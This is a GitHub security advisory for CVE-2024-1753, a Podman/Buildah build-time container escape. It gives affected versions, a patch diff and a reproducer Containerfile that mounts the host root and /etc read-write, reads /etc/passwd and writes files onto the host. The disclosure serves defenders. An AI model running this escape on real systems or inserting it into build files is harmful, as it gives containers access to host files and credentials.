GitHub Advisoryadvisory · Go
GHSA-874v-pj72-92f3 Podman affected by CVE-2024-1753 container escape at build time
MEDIUM
Official page ↗
- Aliases
- CVE-2024-1753
- Ecosystem
- Go
- Packages
- github.com/containers/podman/v4, github.com/containers/podman/v5
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
- Weaknesses
- CWE-269, CWE-59
- Reviewed
- 2024-03-28
Affected packages
• Go github.com/containers/podman/v4: < 4.9.4 → fixed in 4.9.4
• Go github.com/containers/podman/v5: < 5.0.1 → fixed in 5.0.1
Description
Impact
_What kind of vulnerability is it? Who is impacted?_
Users running containers with root privileges allowing a container to run with read/write access to the host system files when selinux is not enabled. With selinux enabled, some read access is allowed.
Patches
From @nalind . This is a patch for Buildah (https://github.com/containers/buildah). Once fixed there, Buildah will be vendored into Podman.
```
cat /root/cve-2024-1753.diff
--- internal/volumes/volumes.go
+++ internal/volumes/volumes.go
@@ -11,6 +11,7 @@ import (
"errors"
+ "github.com/containers/buildah/copier"
"github.com/containers/buildah/define"
"github.com/containers/buildah/internal"
internalParse "github.com/containers/buildah/internal/parse"
@@ -189,7 +190,11 @@ func GetBindMount(ctx *types.SystemContext, args []string, contextDir string, st
// buildkit parity: support absolute path for sources from current build context
if contextDir != "" {
// path should be /contextDir/specified path
- newMount.Source = filepath.Join(contextDir, filepath.Clean(string(filepath.Separator)+newMount.Source))
+ evaluated, err := copier.Eval(contextDir, newMount.Source, copier.EvalOptions{})
+ if err != nil {
+ return newMount, "", err
+ }
+ newMount.Source = evaluated
} else {
// looks like its coming from `build run --mount=type=bind` allow using absolute path
// error out if no source is set
```
Reproducer
Prior to testing, as root, add a memorable username to `/etc/passwd` via adduser or your favorite editor. Also create a memorably named file in `/`. Suggest: `touch /SHOULDNTSEETHIS.txt` and `adduser SHOULDNTSEETHIS`. After testing, remember to remove both the file and the user from your system.
Use the following Containerfile
```
cat ~/cve_Containerfile
FROM alpine as base
RUN ln -s / /rootdir
RUN ln -s /etc /etc2
FROM alpine
RUN echo "ls container root"
RUN ls -l /
RUN echo "With exploit show host root, not the container's root, and create /BIND_BREAKOUT in / on the host"
RUN --mount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit
RUN echo "With exploit show host /etc/passwd, not the container's, and create /BIND_BREAKOUT2 in /etc on the host"
RUN --mount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2
```
To Test
Testing with an older version of Podman with the issue
```
setenforce 0
podman build -f ~/cve_Containerfile .
```
As part of the printout from the build, you should be able to see the contents of the `/' and `/etc` directories, including the `/SHOULDNOTSEETHIS.txt` file that you created, and the contents of the `/etc/passwd` file which will include the `SHOULDNOTSEETHIS` user that you created. In addition, the file `/BIND_BREAKOUT` and `/etc/BIND_BREAKOUT2` will exist on the host after the command is completed. Be sure to remove those two files between tests.
```
podman rm -a
podman rmi -a
rm /BIND_BREAKOUT
rm /etc/BIND_BREAKOUT2
setenforce 1
podman build -f ~/cve_Containerfile .
```
Neither the `/BIND_BREAKEOUT` or `/etc/BIND_BREAKOUT2` files should be created. An error should be raised during the build when both files are trying to be created. Also, errors will be raised when the build tries to display the contents of the `/etc/passwd` file, and nothing will be displayed from that file.
However, the files in both the `/` and `/etc` directories on the host system will be displayed.
Testing with the patch
Use the same commands as testing with an older version of Podman.
When running using the patched version of Podman, regardless of the `setenforce` settings, you should not see the file that you created or the user that you added. Also the `/BIND_BREAKOUT` and the `/etc/BIND_BREAKOUT` will not exist on the host after the test completes.
NOTE: With the fix, the contents of the `/` and `/etc` directories, and the `/etc/passwd` file will be displayed, however, it will be the file and contents from the container image, and NOT the host system. Also the `/BIND_BREAKOUT` and `/etc/BIND_BREAKOUT` files will be created in the container image.
Workarounds
Ensure selinux controls are in place to avoid compromising sensitive system files and systems. With "setenforce 0" set, which is not at all advised, the root file system is open for modification with this exploit. With "setenfoce 1" set, which is the recommendation, files can not be changed. However, the contents of the `/` directory can be displayed. I.e., `ls -alF /` will show the contents of the host directory.
References
Unknown.
Related
Alias · CVE (1)
- CVE-2024-1753 A flaw was found in Buildah (and subsequently Podman Build) which allows containers to mount arbitrary locations on the host filesystem… vulnerability
References
- https://github.com/containers/podman/security/advisories/GHSA-874v-pj72-92f3 web
- https://github.com/containers/buildah/security/advisories/GHSA-pmf3-c36m-g5cf web
- https://nvd.nist.gov/vuln/detail/CVE-2024-1753 advisory
- https://pkg.go.dev/vuln/GO-2024-2658 web
- https://lists.fedoraproject.org/archives/list/[email protected]/message/ZVBSVZGVABPYIHK5HZM472NPGWMI7WXH web
- https://lists.fedoraproject.org/archives/list/[email protected]/message/KOYMVMQ7RWMDTSKQTBO734BE3WQPI2AJ web
- https://lists.fedoraproject.org/archives/list/[email protected]/message/FCRZVUDOFM5CPREQKBEU2VK2QK62PSBP web
- https://github.com/containers/podman package
- https://bugzilla.redhat.com/show_bug.cgi?id=2265513 web
- https://access.redhat.com/security/cve/CVE-2024-1753 web
- https://access.redhat.com/errata/RHSA-2024:3254 web
- https://access.redhat.com/errata/RHSA-2024:2877 web
- https://access.redhat.com/errata/RHSA-2024:2784 web
- https://access.redhat.com/errata/RHSA-2024:2672 web
- https://access.redhat.com/errata/RHSA-2024:2669 web
- https://access.redhat.com/errata/RHSA-2024:2645 web
- https://access.redhat.com/errata/RHSA-2024:2548 web
- https://access.redhat.com/errata/RHSA-2024:2098 web
- https://access.redhat.com/errata/RHSA-2024:2097 web
- https://access.redhat.com/errata/RHSA-2024:2090 web
- https://access.redhat.com/errata/RHSA-2024:2089 web
- https://access.redhat.com/errata/RHSA-2024:2084 web
- https://access.redhat.com/errata/RHSA-2024:2077 web
- https://access.redhat.com/errata/RHSA-2024:2066 web
- https://access.redhat.com/errata/RHSA-2024:2064 web
- https://access.redhat.com/errata/RHSA-2024:2055 web
- https://access.redhat.com/errata/RHSA-2024:2049 web